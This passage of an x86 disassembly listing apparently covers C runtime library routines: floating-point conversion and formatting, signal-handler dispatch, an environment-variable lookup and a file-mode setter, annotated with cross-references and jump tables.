					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------


loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------


loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: .packed:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi


loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43CBC4, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------


loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h


loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi


loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43CBC4, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------


loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C9B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------


loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------


loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx


loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]


loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------


loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]


loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647


loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------


loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax


loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]


loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]


loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1


loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------


loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------


loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E


loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776


loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------


loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------


loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"


loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------


loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx


loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------


loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]


loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi


loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893


loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886


loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx


loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]


loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D


loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------


loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914


loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]


loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]


loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC3C
		mov	eax, offset dword_4DBC3C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC38
		mov	eax, offset dword_4DBC38
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC40
		mov	eax, offset dword_4DBC40
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC34
		mov	eax, offset dword_4DBC34


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA10
		and	dword_4DBA10, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43D00C
		mov	dword_43D00C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43D000
		mov	ecx, dword_43D004
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CF90h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43D00C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA10, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43D00C, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D008
		cmp	dword_43CF8C, edx
		push	esi
		mov	eax, offset dword_43CF88
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF88h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFD0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB960
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB968, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB960
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCD80
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB938, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB938, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
